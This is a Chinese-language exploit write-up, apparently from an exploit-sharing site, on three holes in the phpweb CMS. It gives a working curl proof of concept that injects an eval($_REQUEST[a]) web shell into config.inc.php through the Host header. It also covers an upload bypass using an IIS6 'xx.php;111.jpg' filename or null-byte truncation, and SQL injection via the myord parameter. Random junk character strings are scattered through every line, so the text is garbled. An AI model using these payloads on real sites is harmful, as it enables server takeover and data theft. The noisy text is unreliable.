注入:
( C; f/ }* h! K$ U4 J0 Q# v" w" A2 A* M; a7 P$ ^8 d" w* M
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码, r' ^+ h7 e9 k, j4 ^
% h2 M4 w- ~& `' d
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件; `6 I+ A5 v9 @$ W
鸡肋2: 有一定安全常识的站长都会删掉 install 目录2 O: ]3 c4 D. b9 o- ^- s6 e$ S s
4 q$ d4 c7 S- D; a
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响" Y) O' C1 O% m: X
3 c7 g [' U [+ g5 s分析:. q- H/ {$ D3 h8 o6 v9 w5 N
! }/ `1 ]3 V0 }
; p1 g8 h& {% S$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
( j! f- U1 E q5 Y
$ t5 l- t4 D7 a9 W3 g- E* \ $filestr = fread(fopen($SysConfigFile, 'r'),30000);0 m. b" B: ^2 {: I& [7 k3 m* P
$filestr=str_replace(" ","",$filestr);4 C6 j5 r5 d8 F6 G* ^) k9 p
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);+ @: F) R) L. t& x
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
$ a2 a* z2 w. Q3 \$ ]) c; L $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
w9 p' W# C' S# U+ [) e7 G; C $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
, v) s" u. I T9 C: Q$ i1 F $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
0 S4 h8 x& \% i) M4 X/ Y $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
! H, T$ @0 z( f2 n: _, y $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);% j/ U5 ?) f! ?6 k8 M4 a. G
- Z9 ^' g: r$ ~6 X. Y/ W. ^
fwrite(fopen($ConFile,"w"),$filestr,30000);, g7 i2 o$ B4 F3 C* N* x" o+ }2 _
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^7 V5 s/ v+ C* w# {. J/ c$ w
7 a: Z. ] ]; Y1 z: X+ ^* \poc:. O4 L3 \- S6 f8 l* e
4 D" q- }+ {7 i) B( I2 f* T" T1 P9 z
?
- q. \ G! V$ |. e4 I0 z! K1' m% F$ e8 L5 o1 `/ {2 p( x& }8 l& h
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"( f5 k9 a# C( e
shell地址: /config.inc.php
8 ]* }" z! \0 v跟之前的 phpcms一样 需要远程数据库9 j! N, ~. I! m4 b# e6 z" s
, v$ t! B- `# s/ _
——————————————————–. f# K9 i4 P. F
上传漏洞(需要进后台):8 Z! h7 Z7 a2 G& m% |& w
漏洞文件: /kedit/upload_cgi/upload.php; c1 R9 y$ R3 p6 O3 _" h
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
+ q1 e2 h7 T" w9 I% T7 d( C 4 E Y3 {3 a& ?: ~$ l; U/ d( @
1 d3 _/ m% {- m
<?php7 s) K; S6 t+ G, f
define("ROOTPATH", "../../");
. ]( j+ ?, w& l: `* d include(ROOTPATH."includes/admin.inc.php");: D6 U/ E g# A# a* Z9 j
NeedAuth(0);0 P3 \' j, U0 r* j
; N" _& B7 y! L/ _& _0 K $dt=date("Ymd",time());$ n5 z+ C) S% L5 a! n. M
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){$ b0 v/ H& a7 }, j0 X9 [* l
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
8 E- w! q" _# e }( q; P6 m& i# W& P G" v+ |
U7 ]) j" y/ H
//文件保存目录路径
; r, b8 X6 B1 \) N, x* v $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';* r% b- F- g1 _8 z
echo $save_path;0 V4 L' }: e3 `, N! [0 i$ a
//文件保存目录URL7 } Q$ Z; I6 Q& _8 e. I. d, j
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
: j) i& Q! h n. ? ) j. Q8 A$ }) B- H
//定义允许上传的文件扩展名
& M# d1 b' c6 h( A- h* w8 t! r $ext_arr = array('gif','jpg','png','bmp'); //限制后缀' o l% t/ p. v$ W
A+ L5 F4 q* \, g2 Z //最大文件大小7 y6 u. o8 l. u: E0 T# g$ r ^
$max_size = 1000000;
* y: @7 s+ [# G* [, r; e( R
/ }2 c: ^' J5 V //更改目录权限. q& [ i4 E# r9 [: A" ]0 \
@mkdir($save_path, 0777);
. k4 q- x% N4 V& k Y; g 4 Z: P7 l, C; \4 F7 _
//文件的全部路径
& P) z0 d+ |- b5 B $file_path = $save_path.$_POST['fileName']; //保存文件名
) a1 f, T- Q8 D: ` f; a3 |- }6 A B, y
9 t! |+ I8 w# G1 K$ c' T1 M8 E3 Z+ ] //文件URL4 |7 U7 \# H; l! a# [$ H& Q& n
$file_url = $save_url.$_POST['fileName'];- E3 c" j* s. O
//有上传文件时
5 Q8 r6 h1 P3 Y+ t4 J if (empty($_FILES) === false) {
/ t! m' g2 Y8 J 2 e. v9 W; r8 C, o2 P+ Q3 b
//原文件名& s. m3 d( a8 Y& J) b" f1 o% L
$file_name = $_FILES['fileData']['name'];7 v* l. m, H) E) }
//服务器上临时文件名" G( c8 z8 k2 ^: H1 B
$tmp_name = $_FILES['fileData']['tmp_name'];
% o& c: f) u0 Y2 b$ j$ d2 c7 L //文件大小
: c7 N2 q% ~2 [5 x/ G" h) y% I $file_size = $_FILES['fileData']['size'];3 D" e2 w# U' l9 G# h- b9 Y
//检查目录# }! n( j' Y2 V* W
if (@is_dir($save_path) === false) {
/ n6 F5 X8 R5 M9 f alert("上传目录不存在。");/ |' L5 K. t" ^# ~3 e" k% n- G) i
}
- ~: B, N/ X! c8 U9 y0 X //检查目录写权限; Y, x# a; P: y! c! [1 O
if (@is_writable($save_path) === false) {
( W* N$ R0 H9 J2 K; g" z3 { alert("上传目录没有写权限。");( Q: E( P1 B" v9 P: J f
}
1 ?: @/ W5 `8 G7 Q; [! a //检查是否已上传
- I, e5 {9 l. y5 Q if (@is_uploaded_file($tmp_name) === false) {) V0 H- D$ X# N, V
alert("临时文件可能不是上传文件。");
! b9 z* ~/ b# B& Q& [( n o }( ?& ^' B1 ^# ^, |: x2 Q8 W' e
//检查文件大小
: o) _) a K" E* N- c. S if ($file_size > $max_size) {" u/ d8 `/ H# z; ^1 ]0 b
alert("上传文件大小超过限制。");
' Q1 d1 w w6 ~' {! V- N# \ }- K' n8 \4 e$ x; ^7 K
//获得文件扩展名
, E6 L/ L# X$ E! g/ e $temp_arr = explode(".", $_POST['fileName']);
7 K3 k- o0 ~) y. \5 v. u. l6 v. b1 E $file_ext = array_pop($temp_arr);
. x1 y T0 @9 O# [! f$ @& W $file_ext = trim($file_ext);
9 i! J/ q+ K$ D& d+ A5 J2 M" `0 k $file_ext = strtolower($file_ext);- B( h' m) n. f8 M( v! u
) t3 p/ W9 u4 a: i- @5 T, D //检查扩展名
( o0 k3 f+ o# { if (in_array($file_ext, $ext_arr) === false) {
* L' c( J5 J* q alert("上传文件扩展名是不允许的扩展名。");
0 j" [5 C2 i ]4 {' Z. Z5 ~ }; C4 X4 }6 z, J0 y9 T9 M9 q
) @+ t* d* m! C! M+ M9 x; Q; V
//移动文件
6 l% p- [# v4 j //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
3 D/ L- A( S$ U6 M if (move_uploaded_file($tmp_name, $file_path) === false) {
5 t, U$ D8 ~2 ^, k' P B alert("上传文件失败。");
9 _# P) r+ D; N$ L. o }
* j# h, g. @$ F8 D0 M- H8 M
: p0 r m. h" e1 _, i; ^! ` @chmod($file_path,0666);
' d1 j: ?3 @+ _+ y Y5 M/ `5 t0 I
# K1 F5 U$ K8 F ?>
, _& i1 K+ n3 N- K% k s抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
}6 c5 i0 G5 T. f # c6 Z; c6 X9 ^9 t% I, a" U% t U; H
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过/ i$ T8 X, l/ X5 J7 K
/ Q4 l0 d$ [/ D a2 u——————————————————
' |- ^7 D) h$ k7 O; L注入漏洞:2 H' b/ I- o f/ @
漏洞文件:search/module/search.php
, A& ~" n5 j- {% v/search/index.php?key=1&myord=1 [sqlinjection]. F% H; U1 C/ {/ ~+ y
2 A `) ?4 u: I2 I. N# C4 u+ B0 F
! S* ]3 i" F; U. U<?php8 j. \# h! B1 o O3 _6 g
// ... 省略 n 行...
$ j, O! w$ |2 l1 z //第18行:
& l: n/ \5 [2 T: E $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
, h9 B2 s8 `! J0 O# G6 F) H$ k $page=htmlspecialchars($_GET["page"]);
* ?/ Q: l k; V! ?" q4 N $myord=htmlspecialchars($_GET["myord"]);& M* w; K/ H% F# y3 \1 |" L9 y
9 H x/ b# _4 Q0 }
// ... 省略 n 行...
" ~0 N7 Q/ B% K, _+ | t9 O# q $key,$myord 两个参数带入查询
+ T% M6 E _# d; m @7 j //第47行 $key:
$ X' ]. I7 F. ~% m m
6 A* @8 O+ z- n9 Y% m! c $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..8 m6 q- K0 B/ Y r
' s" ^( V! _1 D O6 W //第197行 $myord
3 b: P6 W @$ P0 l) c0 C0 ?" J7 W $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入, S' [( t; U6 K; N8 ?. G n; w
+ ?) t7 _. z5 a# ]7 U
?>9 i( S. J) Z. G, Z- ]8 B2 t9 Z5 I( l
|